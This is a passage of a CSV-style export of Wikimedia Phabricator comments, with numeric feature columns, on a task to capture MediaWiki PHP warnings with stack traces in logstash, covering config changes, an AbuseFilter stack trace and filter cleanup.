[operations/puppet@production] logstash: Remove filter for unused 'exception-json' channel

[[GERRIT_URL]]"
1160371,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Pushing back. But would be nice to finish up at some point, but not now. To anyone else that happens to run into it: feel free to take it.",,,1539744093,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,276,,3.0,3.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,24.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.235294117647059,0.8529411764705882,"Pushing back. But would be nice to finish up at some point, but not now. To anyone else that happens to run into it: feel free to take it."
1160370,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Last remaining check box:

> [ ] Remove unused `exception-json` conversion filter from `filter-mediawiki.conf` in `operations/puppet.git`.",,,1539743995,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,276,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,1.0,"Last remaining check box:

QUOTE"
1159520,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"I wasn't aware of `$wgPropagateErrors`, indeed we no more need errors to be spurts to HHVM stdout (which is `type:hhvm`).  That is a nice improvement to the logging and tracking errors :]",,,1539675476,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,276,,0.0,0.0,0.0,0.0,3.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,11.0,13.0,0.0,5.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,13.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,13.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,3.5,0.868421052631579,"I wasn't aware of CODE, indeed we no more need errors to be spurts to HHVM stdout (which is CODE).  That is a nice improvement to the logging and tracking errors :]"
1158432,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWZvyp40zCcrHSwq9kpb} [2018-10-13T23:37:21Z] <krinkle@deploy1001> Synchronized wmf-config/InitialiseSettings.php: T45086 - I4857e8ac (duration: 00m 51s)",,,1539473842,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,275,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.875,0.7916666666666666,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-10-13T23:37:21Z] <krinkle@deploy1001> Synchronized wmf-config/InitialiseSettings.php: T45086 - I4857e8ac (duration: 00m 51s)"
1158430,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 423338 **merged** by jenkins-bot:
[operations/mediawiki-config@master] Set $wgPropagateErrors to false in production

[[https://gerrit.wikimedia.org/r/423338]]",,,1539473248,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,275,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.909090909090909,0.7575757575757576,"Change 423338 **merged** by jenkins-bot:
[operations/mediawiki-config@master] Set $wgPropagateErrors to false in production

[[GERRIT_URL]]"
1119257,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"@Tgr Yeah, take of small chunk of say 2 hours and then correlate as you describe. Keep in mind that T200960 was/is causing serious loss of data all over the place, including between these two channels. It's close to being fixed, so best to look at [Grafana](https://grafana.wikimedia.org/dashboard/db/logstash?orgId=1) and find a comfortable period of time range where there was 0 packet loss (which until last week, was never).",,,1533749486,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,266,,1.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,16.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,18.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,6.0,8.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,8.0,1.0,4.0,0.0,2.0,16.0,1.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,0.0,2.0,0.0,1.0,2.0,3.9,0.8375,"SCREEN_NAME Yeah, take of small chunk of say 2 hours and then correlate as you describe. Keep in mind that T200960 was/is causing serious loss of data all over the place, including between these two channels. It's close to being fixed, so best to look at [Grafana](URL and find a comfortable period of time range where there was 0 packet loss (which until last week, was never)."
1060378,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Hm, not sure why I didn't find it. Thanks Krinkle.

What would be the next step here? Get a full list of all `type:hhvm` errors, filter out the ones which are also found in `type:mediawiki channel:error`, make sure that the rest are not propagated PHP errors, then enable `$wgPropagateError` in production?",,,1525164989,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,252,,2.0,0.0,0.0,3.0,5.0,8.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,7.0,5.0,17.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,8.0,7.0,3.0,0.0,0.0,3.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5,0.7666666666666667,"Hm, not sure why I didn't find it. Thanks Krinkle.

What would be the next step here? Get a full list of all CODE errors, filter out the ones which are also found in CODE, make sure that the rest are not propagated PHP errors, then enable CODE in production?"
1060323,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,">>! In T45086#4166452, @Tgr wrote:
> Seems like some PHP errors are only logged in the HHVM channel (T193339). Not sure whether they end up there with a mechanism that $wgPropagateError would affect.

At T193339, the following sample is referenced from `type:hhvm`:

```
2018-04-29T09:25:59
t  _type	hhvm
t  host	mw1315
t  level	NOTICE
t  message	Notice: Undefined index: 0 in /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php on line 1498
```

Looking in `type:mediawiki` (dashboard ""mediawiki-errors"" with INFO and DEBUG un-disabled) I do find the same error trending

```name=Trending
Count: 16,672
Message:
[{exception_id}] {exception_url} ErrorException from line 1498 of /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php: PHP Notice: Undefined index: 0  	
```

And the exact duplicate (based on timestamp, host and message):
<https://logstash.wikimedia.org/app/kibana#/doc/logstash-*/logstash-2018.04.29/mediawiki?id=AWMQuSfhpesmgM3l0MzT&_g=h@b6494f7>

```name=Sample,lines=10
@timestamp	2018-04-29T09:25:59
t  _type	mediawiki
t  host		mw1315
t  level	INFO
t  server	ar.wikipedia.org
t  url		/w/api.php
[..]
t  exception.message	PHP Notice: Undefined index: 0
t  exception.trace	#0 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php(1498): MWExceptionHandler::handleError(integer, string, string, integer, array, array)
#1 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php(955): AbuseFilter::takeConsequenceAction(string, array, Title, AbuseFilterVariableHolder, string, integer)
#2 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilter.php(1105): AbuseFilter::executeFilterActions(array, Title, AbuseFilterVariableHolder)
#3 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilterHooks.php(119): AbuseFilter::filterAction(AbuseFilterVariableHolder, Title)
#4 /srv/mediawiki/php-1.32.0-wmf.1/extensions/AbuseFilter/includes/AbuseFilterHooks.php(52): AbuseFilterHooks::filterEdit(RequestContext, WikitextContent, string, Status, string, boolean)
#5 /srv/mediawiki/php-1.32.0-wmf.1/includes/Hooks.php(177): AbuseFilterHooks::onEditFilterMergedContent(RequestContext, WikitextContent, Status, string, User, boolean)
#6 /srv/mediawiki/php-1.32.0-wmf.1/includes/Hooks.php(205): Hooks::callHook(string, array, array, NULL)
#7 /srv/mediawiki/php-1.32.0-wmf.1/includes/EditPage.php(1679): Hooks::run(string, array)
#8 /srv/mediawiki/php-1.32.0-wmf.1/includes/EditPage.php(1998): EditPage->runPostMergeFilters(WikitextContent, Status, User)
#9 /srv/mediawiki/php-1.32.0-wmf.1/includes/EditPage.php(1506): EditPage->internalAttemptSave(NULL, boolean)
#10 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiEditPage.php(392): EditPage->attemptSave(NULL)
#11 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(1579): ApiEditPage->execute()
#12 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(504): ApiMain->executeAction()
#13 /srv/mediawiki/php-1.32.0-wmf.1/extensions/VisualEditor/includes/ApiVisualEditorEdit.php(69): ApiMain->execute()
#14 /srv/mediawiki/php-1.32.0-wmf.1/extensions/VisualEditor/includes/ApiVisualEditorEdit.php(382): ApiVisualEditorEdit->saveWikitext(Title, string, array)
#15 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(1579): ApiVisualEditorEdit->execute()
#16 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(535): ApiMain->executeAction()
#17 /srv/mediawiki/php-1.32.0-wmf.1/includes/api/ApiMain.php(506): ApiMain->executeActionWithErrorHandling()
#18 /srv/mediawiki/php-1.32.0-wmf.1/api.php(83): ApiMain->execute()
#19 /srv/mediawiki/w/api.php(3): include(string)
#20 {main}
```",,,1525143540,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,252,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.782608695652174,0.7391304347826086,"QUOTE
QUOTE

At T193339, the following sample is referenced from CODE:

``CODE`CODEtype:mediawikiCODE`CODE`CODE`CODE``"
1059380,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,Seems like some PHP errors are only logged in the HHVM channel (T193339). Not sure whether they end up there with a mechanism that $wgPropagateError would affect.,,,1524994832,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,251,,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,16.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,12.0,9.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.25,0.96875,Seems like some PHP errors are only logged in the HHVM channel (T193339). Not sure whether they end up there with a mechanism that $wgPropagateError would affect.
1042411,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 423338 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
[operations/mediawiki-config@master] Set $wgPropagateErrors to false in production

[[https://gerrit.wikimedia.org/r/423338]]",,,1522576116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,247,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,13.0,4.205128205128205,0.8461538461538461,"Change 423338 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
[operations/mediawiki-config@master] Set $wgPropagateErrors to false in production

[[GERRIT_URL]]"
1011438,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AWGLan1EL7tQ11ghvNrW} [2018-02-12T19:07:47Z] <niharika29@tin> Synchronized wmf-config/InitialiseSettings-labs.php: Stop PHP errors from going to the hhvm channel T45086 (duration: 00m 56s)",,,1518462467,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,241,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,14.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,3.7719298245614037,0.8245614035087719,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2018-02-12T19:07:47Z] <niharika29@tin> Synchronized wmf-config/InitialiseSettings-labs.php: Stop PHP errors from going to the hhvm channel T45086 (duration: 00m 56s)"
1011429,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 409171 **merged** by jenkins-bot:
[operations/mediawiki-config@master] Stop PHP errors from going to the hhvm channel

[[https://gerrit.wikimedia.org/r/409171]]",,,1518462280,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,241,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,14.0,3.6285714285714286,0.7714285714285715,"Change 409171 **merged** by jenkins-bot:
[operations/mediawiki-config@master] Stop PHP errors from going to the hhvm channel

[[GERRIT_URL]]"
1009596,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 338911 **merged** by jenkins-bot:
[mediawiki/core@master] Make it possible to not propagate errors to PHP

[[https://gerrit.wikimedia.org/r/338911]]",,,1518130976,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,240,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,12.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.484848484848485,0.7575757575757576,"Change 338911 **merged** by jenkins-bot:
[mediawiki/core@master] Make it possible to not propagate errors to PHP

[[GERRIT_URL]]"
1009557,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 409171 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
[operations/mediawiki-config@master] Stop PHP errors from going to the hhvm channel

[[https://gerrit.wikimedia.org/r/409171]]",,,1518126418,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,240,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,12.0,3.951219512195122,0.8536585365853658,"Change 409171 had a related patch set uploaded (by Gergő Tisza; owner: Gergő Tisza):
[operations/mediawiki-config@master] Stop PHP errors from going to the hhvm channel

[[GERRIT_URL]]"
926525,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 374895 merged by jenkins-bot:
[mediawiki/core@master] exception: Support message normalisation for structured logging

[[https://gerrit.wikimedia.org/r/374895]]
",,,1504804114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,218,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.482758620689655,0.7931034482758621,"Change 374895 merged by jenkins-bot:
[mediawiki/core@master] exception: Support message normalisation for structured logging

[[GERRIT_URL]]
"
921763,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"Change 374895 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[mediawiki/core@master] exception: Support message normalisation for structured logging

[[https://gerrit.wikimedia.org/r/374895]]
",,,1504129234,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,False,,,217,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,16.0,4.405405405405405,0.8108108108108109,"Change 374895 had a related patch set uploaded (by Krinkle; owner: Krinkle):
[mediawiki/core@master] exception: Support message normalisation for structured logging

[[GERRIT_URL]]
"
1009482,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
 * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
 * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
 * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <https://github.com/wikimedia/operations-mediawiki-config/tree/f750c8930f/wmf-config>
 * `exception`: Enabled (to mwlog and to logstash)
 * `exception-json`: Disabled (to mwlog only)
 * `error`: Enabled (to mwlog and to logstash)
 * `error-json`: Disabled
* Logstash config - <https://github.com/wikimedia/puppet/blob/87740eaedc/modules/role/files/logstash/filter-mediawiki.conf>
 * Augments `channel=exception`
 * Converts any `channel=exception-json` to `channel=exception` (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * `type:hhvm` - All non-suppressed error messages and fatal errors (no trace)
 * `type:mediawiki channel:exception` - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * `type:mediawiki channel:error` - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Checklist (//EDIT: Moved to task description.//)
",,,1518121066,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ywjb7uxxy5pimzykpwh2,task_subcomment,,True,c1,3,True,,,240,,1.0,0.0,0.0,0.0,0.0,4.666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,15.0,0.0,2.6666666666666665,1.3333333333333333,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,5.333333333333333,5.333333333333333,0.6666666666666666,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,1.3333333333333333,3.7977528089887636,0.50187265917603,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <URL
 * CODE: PSR-3 structured message with exception context via CODE (includes trace)
 * CODE: JSON-formatted structured data with exception context via CODE  (includes trace)
 * CODE: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * CODE (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
* wikimedia/operations-mediawiki-config - <URL
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled (to mwlog only)
 * CODE: Enabled (to mwlog and to logstash)
 * CODE: Disabled
* Logstash config - <URL
 * Augments CODE
 * Converts any CODE to CODE (Unused, todo: remove)
* logstash.wikimedia.org receives:
 * CODE - All non-suppressed error messages and fatal errors (no trace)
 * CODE - Fatals and caught exceptions logged by MediaWiki, structured and includes trace.
 * CODE - Non-suppressed error messages, structured and includes trace.

Known issues or remaining tasks:
* **Nothing?** {icon check color=green} **Resolved**?

Checklist (//EDIT: Moved to task description.//)
"
928602,Capture PHP warnings with stacktraces in MediaWiki and save to logstash,"It's been several months, let's look at the current state of affairs:

* MediaWiki core - <https://github.com/wikimedia/mediawiki/blob/61696a0bd/includes/exception/MWExceptionHandler.php>
 * `exception`: PSR-3 structured message with exception context via `MWExceptionHandler::getLogContext` (includes trace)
 * `exception-json`: JSON-formatted structured data with exception context via `getStructuredExceptionData()`  (includes trace)
 * `error`: (Non-suppressed only) PSR-3 structured message with exception context (includes trace)
 * `error-json` (Includes suppressed errors) JSON-formatted structured data with exception context (includes trace)
